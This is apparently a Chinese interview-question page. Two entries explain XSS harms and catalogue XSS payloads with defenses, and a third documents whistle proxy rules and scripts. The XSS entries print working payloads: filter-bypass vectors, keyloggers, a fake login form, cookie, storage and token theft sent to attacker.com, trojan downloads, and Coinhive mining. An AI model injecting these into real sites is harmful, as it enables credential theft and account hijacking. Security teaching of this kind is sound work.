将用户重定向到恶意网站,可能用于钓鱼、恶意软件分发等。攻击示例:// 重定向到恶意网站window.location = 'http://malicious.com/phishing?ref=' + document.location.href;实际影响:将用户引导到钓鱼网站传播恶意软件窃取用户信息损害网站声誉防护措施:验证和编码重定向 URL使用白名单限制重定向目标实施 CSP 的 navigate-to 指令5. 键盘记录(Keylogging)危害描述:攻击者通过 XSS 注入键盘记录脚本,记录用户的所有键盘输入,包括密码、信用卡号等敏感信息。攻击示例:// 键盘记录脚本document.addEventListener('keydown', function(e) { const key = e.key; const timestamp = Date.now(); const url = window.location.href; fetch('http://attacker.com/keylog', { method: 'POST', body: JSON.stringify({ key, timestamp, url }) });});实际影响:窃取用户密码窃取信用卡号窃取其他敏感输入记录用户的浏览行为防护措施:使用 CSP 阻止恶意脚本对所有用户输入进行编码使用虚拟键盘(对于高安全需求场景)实施输入验证和过滤6. 数据篡改危害描述:攻击者通过 XSS 修改页面内容,误导用户或破坏数据完整性。攻击示例:// 修改页面内容document.getElementById('bank-balance').textContent = '999999.99';document.getElementById('transaction-history').innerHTML = '<p>无交易记录</p>';实际影响:误导用户做出错误决策破坏数据完整性损害网站可信度可能导致经济损失防护措施:对所有输出进行编码使用安全的 DOM API实施 CSP定期审计前端代码7. CSRF 攻击辅助危害描述:XSS 可以辅助 CSRF(跨站请求伪造)攻击,通过注入恶意脚本自动发送跨站请求。攻击示例:// 自动发送 CSRF 请求fetch('http://target.com/transfer', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'to=attacker&amount=10000', credentials: 'include'});实际影响:自动执行未授权操作资金转账修改账户设置删除数据防护措施:使用 CSRF Token实施 SameSite Cookie验证请求来源使用 CSP8. 恶意软件分发危害描述:攻击者通过 XSS 注入恶意软件下载链接,诱骗用户下载和安装恶意软件。攻击示例:// 注入恶意下载链接const maliciousLink = ` <a href="http://malicious.com/trojan.exe" style="display:block;padding:20px;background:#4CAF50;color:white;text-align:center;"> 点击下载安全更新 </a>`;document.body.innerHTML += maliciousLink;实际影响:用户感染恶意软件系统被控制数据被加密(勒索软件)系统性能下降防护措施:对所有用户输入进行编码实施 CSP使用白名单限制外部资源加强用户安全教育9. 网页挖矿(Cryptojacking)危害描述:攻击者通过 XSS 注入加密货币挖矿脚本,利用用户的计算资源进行挖矿。攻击示例:// 注入挖矿脚本const miningScript = document.createElement('script');miningScript.src = 'https://coin-hive.com/lib/coinhive.min.js';document.body.appendChild(miningScript);// 启动挖矿const miner = new CoinHive.User('site-key');miner.start();实际影响:消耗用户 CPU 资源导致系统性能下降增加电力消耗可能导致设备过热防护措施:实施 CSP 限制外部脚本监控异常的 CPU 使用率使用广告拦截器定期审计第三方脚本10. 隐私泄露危害描述:攻击者通过 XSS 访问和窃取用户的隐私信息,如浏览历史、本地存储等。攻击示例:// 窃取隐私信息const privacyData = { cookies: document.cookie, localStorage: JSON.stringify(localStorage), sessionStorage: JSON.stringify(sessionStorage), history: JSON.stringify(window.history), userAgent: navigator.userAgent, screen: { width: screen.width, height: screen.height }, plugins: Array.from(navigator.plugins).map(p => p.name)};fetch('http://attacker.com/privacy', { method: 'POST', body: JSON.stringify(privacyData)});实际影响:用户隐私被侵犯浏览习惯被跟踪个人信息被收集可能用于定向广告或诈骗防护措施:实施 CSP使用 HttpOnly Cookie限制第三方脚本访问加强隐私保护机制XSS 攻击的长期影响1. 经济损失直接经济损失(资金被盗)间接经济损失(系统修复、数据恢复)声誉损失导致客户流失2. 法律责任违反数据保护法规(如 GDPR、CCPA)面临法律诉讼和罚款监管处罚3. 声誉损害用户信任度下降品牌形象受损媒体负面报道4. 业务中断系统停机修复服务不可用生产力下降XSS 攻击的检测和响应1. 检测方法日志分析:检查异常的脚本执行用户行为分析:识别异常的用户操作安全扫描:使用自动化工具扫描 XSS 漏洞渗透测试:定期进行安全测试2. 响应措施立即隔离受影响的系统通知受影响的用户重置所有会话和密码修复漏洞并加强安全措施进行事后分析和改进总结XSS 攻击的危害非常广泛且严重,包括 Cookie 窃取、会话劫持、钓鱼攻击、恶意重定向、键盘记录、数据篡改、CSRF 攻击辅助、恶意软件分发、网页挖矿和隐私泄露等。这些危害可能导致经济损失、法律责任、声誉损害和业务中断。为了防止 XSS 攻击,开发者应该:对所有用户输入进行严格的验证和编码使用安全的 DOM API实施 Content Security Policy设置 HttpOnly 和 SameSite Cookie定期进行安全审计和渗透测试加强用户安全教育通过采取多层防御策略,可以有效地减少 XSS 攻击的风险和危害。
阅读 0·2月21日 16:25

常见的 XSS Payload 有哪些?如何识别和防护恶意 XSS 载荷?

答案XSS Payload(攻击载荷)是攻击者用于执行 XSS 攻击的恶意代码片段。了解常见的 XSS Payload 对于检测和防护 XSS 攻击至关重要。XSS Payload 可以分为多种类型,每种类型都有其特定的攻击场景和绕过技巧。基础 XSS Payload1. Script 标签注入最基础的 Payload:<script>alert(1)</script><script>alert('XSS')</script><script>alert("XSS")</script>变体:<script>alert(String.fromCharCode(88,83,83))</script><script>alert(/XSS/.source)</script><script>alert`XSS`</script>2. 图片标签注入onerror 事件:<img src=x onerror=alert(1)><img src=x onerror=alert('XSS')><img src=x onerror=alert("XSS")>变体:<img src=x onerror=alert(1)><img src=x onerror=alert(1) /><img src=x onerror=alert(1)//>3. SVG 标签注入onload 事件:<svg onload=alert(1)><svg/onload=alert(1)><svg onload="alert(1)">变体:<svg onload="alert(1)"><svg onload='alert(1)'><svg onload=alert(1)>高级 XSS Payload1. 事件处理器注入常见事件:<body onload=alert(1)><body onpageshow=alert(1)><body onfocus=alert(1)><body onblur=alert(1)><input onfocus=alert(1) autofocus><input onblur=alert(1) autofocus><input onchange=alert(1) autofocus><select onfocus=alert(1) autofocus><select onblur=alert(1) autofocus><select onchange=alert(1) autofocus><textarea onfocus=alert(1) autofocus><textarea onblur=alert(1) autofocus><textarea onchange=alert(1) autofocus><details open ontoggle=alert(1)><details open onmouseover=alert(1)><details open onclick=alert(1)>2. iframe 注入javascript: 协议:<iframe src="javascript:alert(1)"></iframe><iframe src='javascript:alert(1)'></iframe><iframe src=javascript:alert(1)></iframe>data: 协议:<iframe src="data:text/html,<script>alert(1)</script>"></iframe><iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>3. form 注入formaction 属性:<form><button formaction=javascript:alert(1)>Click</button></form><form><input type=submit formaction=javascript:alert(1) value=Click></form>formtarget 属性:<form action="javascript:alert(1)"><input type=submit value=Click></form><form action="data:text/html,<script>alert(1)</script>"><input type=submit value=Click></form>绕过过滤器的 Payload1. 大小写绕过变体:<ScRiPt>alert(1)</ScRiPt><SCRIPT>alert(1)</SCRIPT><Img src=x oNeRrOr=alert(1)>2. 编码绕过HTML 实体编码:<script>alert(1)</script><script>alert(1)</script><script>alert(1)</script>URL 编码:%3Cscript%3Ealert(1)%3C/script%3E%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3EJavaScript 编码:<script>\u0061\u006c\u0065\u0072\u0074(1)</script><script>\x61\x6c\x65\x72\x74(1)</script>3. 注释绕过变体:<!--><script>alert(1)</script>--><!----><script>alert(1)</script><!--><!--><img src=x onerror=alert(1)>-->4. 空格绕过变体:<img/src=x/onerror=alert(1)><svg/onload=alert(1)><script>alert(1)//>5. 引号绕过变体:<script>alert(1)</script><script>alert`1`</script><script>alert(/1/)</script><script>alert(String.fromCharCode(49))</script>Cookie 窃取 Payload1. 基础 Cookie 窃取直接发送:<script> const stolenCookie = document.cookie; fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookie));</script>使用 Image 标签:<img src="http://attacker.com/steal?cookie=123" onerror="this.src='http://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie)">2. 高级 Cookie 窃取使用 XMLHttpRequest:<script> const xhr = new XMLHttpRequest(); xhr.open('GET', 'http://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie)); xhr.send();</script>使用 WebSocket:<script> const ws = new WebSocket('ws://attacker.com/steal'); ws.onopen = function() { ws.send(document.cookie); };</script>会话劫持 Payload1. 会话 ID 窃取LocalStorage 窃取:<script> const localStorageData = JSON.stringify(localStorage); fetch('http://attacker.com/steal?localStorage=' + encodeURIComponent(localStorageData));</script>SessionStorage 窃取:<script> const sessionStorageData = JSON.stringify(sessionStorage); fetch('http://attacker.com/steal?sessionStorage=' + encodeURIComponent(sessionStorageData));</script>2. Token 窃取JWT Token 窃取:<script> const token = localStorage.getItem('token'); fetch('http://attacker.com/steal?token=' + encodeURIComponent(token));</script>钓鱼攻击 Payload1. 虚假登录表单注入虚假表单:<script> const fakeForm = ` <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999;"> <div style="position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);background:white;padding:20px;border-radius:5px;"> <h3>会话已过期,请重新登录</h3> <input type="text" id="username" placeholder="用户名"> <input type="password" id="password" placeholder="密码"> <button onclick="stealCredentials()">登录</button> </div> </div> `; document.body.innerHTML += fakeForm; function stealCredentials() { const username = document.getElementById('username').value; const password = document.getElementById('password').value; fetch('http://attacker.com/steal', { method: 'POST', body: JSON.stringify({ username, password }) }); }</script>2. 重定向攻击恶意重定向:<script> window.location = 'http://phishing.com/login?ref=' + encodeURIComponent(document.location.href);</script>使用 meta 标签:<meta http-equiv="refresh" content="0;url=http://phishing.com/login">键盘记录 Payload1. 基础键盘记录记录所有按键:<script> let keylog = ''; document.addEventListener('keydown', function(e) { keylog += e.key; if (keylog.length > 100) { fetch('http://attacker.com/keylog', { method: 'POST', body: JSON.stringify({ keylog }) }); keylog = ''; } });</script>2. 高级键盘记录记录上下文:<script> let keylog = []; document.addEventListener('keydown', function(e) { keylog.push({ key: e.key, timestamp: Date.now(), url: window.location.href, element: e.target.tagName }); if (keylog.length > 50) { fetch('http://attacker.com/keylog', { method: 'POST', body: JSON.stringify({ keylog }) }); keylog = []; } });</script>数据篡改 Payload1. 修改页面内容修改文本内容:<script> document.getElementById('bank-balance').textContent = '999999.99'; document.getElementById('transaction-history').innerHTML = '<p>无交易记录</p>';</script>2. 修改链接修改所有链接:<script> const links = document.querySelectorAll('a'); links.forEach(link => { link.href = 'http://phishing.com/login?redirect=' + encodeURIComponent(link.href); });</script>CSRF 辅助 Payload1. 自动发送请求发送 GET 请求:<script> fetch('http://bank.com/transfer?to=attacker&amount=10000', { credentials: 'include' });</script>发送 POST 请求:<script> fetch('http://bank.com/transfer', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'to=attacker&amount=10000', credentials: 'include' });</script>2. 窃取 CSRF Token窃取 meta 标签中的 Token:<script> const csrfToken = document.querySelector('meta[name="csrf-token"]').content; fetch('http://attacker.com/steal?token=' + encodeURIComponent(csrfToken));</script>恶意软件分发 Payload1. 下载恶意文件自动下载:<script> const link = document.createElement('a'); link.href = 'http://malicious.com/trojan.exe'; link.download = 'update.exe'; link.click();</script>2. 诱导下载显示虚假更新提示:<script> const updateMessage = ` <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999;"> <div style="position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);background:white;padding:20px;border-radius:5px;"> <h3>发现新版本,请点击下载更新</h3> <a href="http://malicious.com/update.exe" download>下载更新</a> </div> </div> `; document.body.innerHTML += updateMessage;</script>网页挖矿 Payload1. 使用 Coinhive基础挖矿:<script src="https://coin-hive.com/lib/coinhive.min.js"></script><script> var miner = new CoinHive.User('site-key'); miner.start();</script>2. 使用 JSEncrypt加密挖矿:<script src="https://cdnjs.cloudflare.com/ajax/libs/jsencrypt/3.0.0/jsencrypt.min.js"></script><script> var crypt = new JSEncrypt(); // 执行加密挖矿</script>检测和防护1. 检测 Payload常见检测方法:搜索 <script> 标签搜索 javascript: 协议搜索 onerror、onload 等事件处理器搜索 eval()、new Function() 等危险函数使用正则表达式匹配恶意模式2. 防护 Payload防护措施:对所有用户输入进行编码使用 Content Security Policy设置 HttpOnly Cookie使用安全的 DOM API实施输入验证和过滤总结XSS Payload 是攻击者执行 XSS 攻击的工具,了解常见的 XSS Payload 对于检测和防护 XSS 攻击至关重要。常见的 XSS Payload 包括:基础 Payload:Script 标签、图片标签、SVG 标签高级 Payload:事件处理器、iframe、form绕过过滤器 Payload:大小写、编码、注释、空格、引号Cookie 窃取 Payload:直接发送、使用 Image 标签会话劫持 Payload:LocalStorage、SessionStorage、Token 窃取钓鱼攻击 Payload:虚假登录表单、重定向攻击键盘记录 Payload:记录按键、记录上下文数据篡改 Payload:修改页面内容、修改链接CSRF 辅助 Payload:自动发送请求、窃取 CSRF Token恶意软件分发 Payload:下载恶意文件、诱导下载网页挖矿 Payload:使用 Coinhive、JSEncrypt通过了解这些 Payload,开发者可以更好地检测和防护 XSS 攻击。
阅读 0·2月21日 16:25

whistle 的规则语法是什么,常用的操作符有哪些?

答案Whistle 的规则语法非常简洁直观,基本格式为:pattern operator-uri基本规则格式pattern operator-uripattern:匹配模式,可以是域名、路径、正则表达式等operator:操作符,指定要执行的操作类型uri:目标地址或参数常用操作符host:修改请求的 Host 头 www.example.com host 127.0.0.1:8080reqHeaders:修改请求头 www.example.com reqHeaders://{custom-headers.json}resHeaders:修改响应头 www.example.com resHeaders://{cors-headers.json}resBody:修改响应体 www.example.com resBody://{mock-data.json}resReplace:替换响应内容 www.example.com resReplace://old-string/new-stringreqScript:使用脚本处理请求 www.example.com reqScript://{request-handler.js}resScript:使用脚本处理响应 www.example.com resScript://{response-handler.js}forward:转发请求到指定地址 www.example.com forward https://api.example.com匹配模式示例精确匹配域名 www.example.com operator-uri通配符匹配 *.example.com operator-uri路径匹配 www.example.com/api/* operator-uri正则表达式 /^https:\/\/www\.example\.com\/api\/.*/ operator-uri规则优先级Whistle 按照规则在配置文件中的顺序从上到下匹配,一旦匹配成功就不再继续匹配后续规则。因此,更具体的规则应该放在前面。注释和分组使用 # 添加注释使用 # group-name 创建分组,便于管理大量规则
阅读 0·2月21日 16:25

whistle 如何使用脚本处理请求和响应,有哪些高级用法?

答案Whistle 支持通过脚本处理请求和响应,这为开发者提供了极大的灵活性,可以实现复杂的网络请求处理逻辑。脚本处理基础1. 脚本文件格式Whistle 脚本使用 CommonJS 模块格式:module.exports = function(req, res) { // 处理逻辑};2. 脚本类型reqScript:处理请求resScript:处理响应plugin:插件脚本reqScript 使用1. 基本用法创建脚本文件:request-handler.jsmodule.exports = function(req, res) { console.log('Request URL:', req.url); console.log('Request Method:', req.method); console.log('Request Headers:', req.headers);};配置规则:www.example.com reqScript://{request-handler.js}2. 修改请求头module.exports = function(req, res) { // 添加自定义请求头 req.headers['X-Custom-Header'] = 'Custom Value'; // 修改现有请求头 req.headers['User-Agent'] = 'Custom User Agent'; // 删除请求头 delete req.headers['Authorization'];};3. 修改请求体module.exports = function(req, res) { let body = ''; req.on('data', function(chunk) { body += chunk.toString(); }); req.on('end', function() { // 修改请求体 const modifiedBody = body.replace(/old/g, 'new'); // 重新发送修改后的请求 // 注意:这需要特殊处理 });};4. 请求重定向module.exports = function(req, res) { // 修改请求 URL if (req.url.includes('/old-path')) { req.url = req.url.replace('/old-path', '/new-path'); }};5. 条件处理module.exports = function(req, res) { // 根据请求方法处理 if (req.method === 'POST') { req.headers['X-Request-Type'] = 'POST'; } // 根据请求路径处理 if (req.url.includes('/api/')) { req.headers['X-API-Request'] = 'true'; } // 根据请求头处理 if (req.headers['authorization']) { req.headers['X-Authenticated'] = 'true'; }};resScript 使用1. 基本用法创建脚本文件:response-handler.jsmodule.exports = function(req, res) { console.log('Response Status:', res.statusCode); console.log('Response Headers:', res.headers);};配置规则:www.example.com resScript://{response-handler.js}2. 修改响应头module.exports = function(req, res) { // 添加自定义响应头 res.setHeader('X-Custom-Header', 'Custom Value'); // 修改现有响应头 res.setHeader('Content-Type', 'application/json'); // 删除响应头 res.removeHeader('X-Powered-By');};3. 修改响应体module.exports = function(req, res) { const originalEnd = res.end; res.end = function(chunk, encoding) { if (chunk) { let body = chunk.toString(); // 修改响应内容 body = body.replace(/old/g, 'new'); body = body.replace(/error/g, 'success'); // 重新结束响应 originalEnd.call(res, body, encoding); } else { originalEnd.call(res, chunk, encoding); } };};4. 响应数据转换module.exports = function(req, res) { const originalEnd = res.end; res.end = function(chunk, encoding) { if (chunk) { const body = chunk.toString(); // JSON 数据转换 if (res.headers['content-type'] && res.headers['content-type'].includes('application/json')) { const jsonData = JSON.parse(body); jsonData.timestamp = Date.now(); jsonData.modified = true; originalEnd.call(res, JSON.stringify(jsonData), encoding); } else { originalEnd.call(res, chunk, encoding); } } else { originalEnd.call(res, chunk, encoding); } };};5. 响应缓存const cache = {};module.exports = function(req, res) { const cacheKey = req.url; // 检查缓存 if (cache[cacheKey]) { console.log('Using cached response for:', cacheKey); res.end(cache[cacheKey]); return; } // 缓存响应 const originalEnd = res.end; res.end = function(chunk, encoding) { if (chunk) { cache[cacheKey] = chunk.toString(); originalEnd.call(res, chunk, encoding); } else { originalEnd.call(res, chunk, encoding); } };};高级脚本处理1. 组合使用 reqScript 和 resScriptrequest-handler.js:module.exports = function(req, res) { // 请求开始时间 req.startTime = Date.now(); req.headers['X-Request-Start'] = req.startTime;};response-handler.js:module.exports = function(req, res) { const originalEnd = res.end; res.end = function(chunk, encoding) { if (chunk) { // 计算请求耗时 const duration = Date.now() - (req.startTime || 0); res.setHeader('X-Request-Duration', duration); originalEnd.call(res, chunk, encoding); } else { originalEnd.call(res, chunk, encoding); } };};配置规则:www.example.com reqScript://{request-handler.js} resScript://{response-handler.js}2. 使用外部模块const fs = require('fs');const path = require('path');module.exports = function(req, res) { // 读取外部文件 const filePath = path.join(__dirname, 'data.json'); const data = JSON.parse(fs.readFileSync(filePath, 'utf8')); // 使用数据修改响应 const originalEnd = res.end; res.end = function(chunk, encoding) { if (chunk) { const body = chunk.toString(); const modifiedBody = body.replace('{{data}}', JSON.stringify(data)); originalEnd.call(res, modifiedBody, encoding); } else { originalEnd.call(res, chunk, encoding); } };};3. 异步处理const https = require('https');module.exports = function(req, res) { const originalEnd = res.end; res.end = function(chunk, encoding) { if (chunk) { // 异步处理 https.get('https://api.example.com/data', (response) => { let data = ''; response.on('data', (chunk) => { data += chunk; }); response.on('end', () => { // 使用外部数据修改响应 const body = chunk.toString(); const modifiedBody = body.replace('{{external-data}}', data); originalEnd.call(res, modifiedBody, encoding); }); }).on('error', (err) => { console.error('Error fetching external data:', err); originalEnd.call(res, chunk, encoding); }); } else { originalEnd.call(res, chunk, encoding); } };};脚本调试1. 使用 console.logmodule.exports = function(req, res) { console.log('Request URL:', req.url); console.log('Request Method:', req.method); console.log('Request Headers:', JSON.stringify(req.headers, null, 2));};2. 错误处理module.exports = function(req, res) { try { // 处理逻辑 const result = processData(req); res.end(JSON.stringify(result)); } catch (error) { console.error('Script error:', error); res.statusCode = 500; res.end(JSON.stringify({ error: error.message })); }};最佳实践1. 脚本组织按功能模块组织脚本使用有意义的文件名添加注释说明脚本用途2. 性能优化避免在脚本中进行复杂计算使用缓存减少重复操作合理使用异步处理3. 错误处理添加适当的错误处理记录错误日志提供友好的错误信息4. 安全考虑验证输入数据防止注入攻击不暴露敏感信息
阅读 0·2月21日 16:25